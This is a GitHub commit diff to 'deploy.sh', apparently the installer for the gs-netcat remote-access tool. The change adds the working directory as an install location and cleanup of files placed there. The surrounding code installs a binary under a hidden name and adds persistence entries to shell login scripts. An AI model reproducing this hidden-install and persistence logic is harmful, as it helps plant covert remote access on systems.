Skip to content

Commit

Permalink
try PWD,2
Browse files Browse the repository at this point in the history
  • Loading branch information
SkyperTHC committed Sep 21, 2022
1 parent 69c167d commit 3c2f60b
Showing 1 changed file with 7 additions and 2 deletions.
9 changes: 7 additions & 2 deletions deploy/deploy.sh
Expand Up @@ -462,7 +462,7 @@ init_dstbin()
try_dstdir "${GS_PREFIX}${HOME}/.config/dbus" && return

# Try current working directory
try_dstdir "${PWD}" && return
try_dstdir "${PWD}" && { IS_DSTBIN_CWD=1; return; }

# Try /tmp/.gsusr-*
try_dstdir "/tmp/.gsusr-${UID}" && { IS_DSTBIN_TMP=1; return; }
Expand Down Expand Up @@ -793,6 +793,9 @@ uninstall()
uninstall_rm "${TMPDIR}/._gs-netcat" # OLD
uninstall_rmdir "${TMPDIR}"

uninstall_rm "${PWD}/${BIN_HIDDEN_NAME}"
uninstall_rm "${PWD}/${SEC_NAME}"

# Remove from login script
for fn in ".bash_profile" ".bash_login" ".bashrc" ".zshrc" ".profile"; do
uninstall_rc "${GS_PREFIX}${HOME}/${fn}" "${BIN_HIDDEN_NAME}"
Expand Down Expand Up @@ -1469,9 +1472,11 @@ else
fi
# -----END Install permanentally-----

if [[ -z "$IS_INSTALLED" || $IS_DSTBIN_TMP ]]; then
if [[ -z "$IS_INSTALLED" || -n $IS_DSTBIN_TMP ]]; then
echo -e 1>&1 "--> ${CR}Access will be lost after reboot.${CN}"
fi

[[ -n $IS_DSTBIN_CWD ]] && WARN "Installed to ${PWD}. Try GS_DSTDIR= otherwise.."

HOWTO_CONNECT_OUT

Expand Down

0 comments on commit 3c2f60b

Please sign in to comment.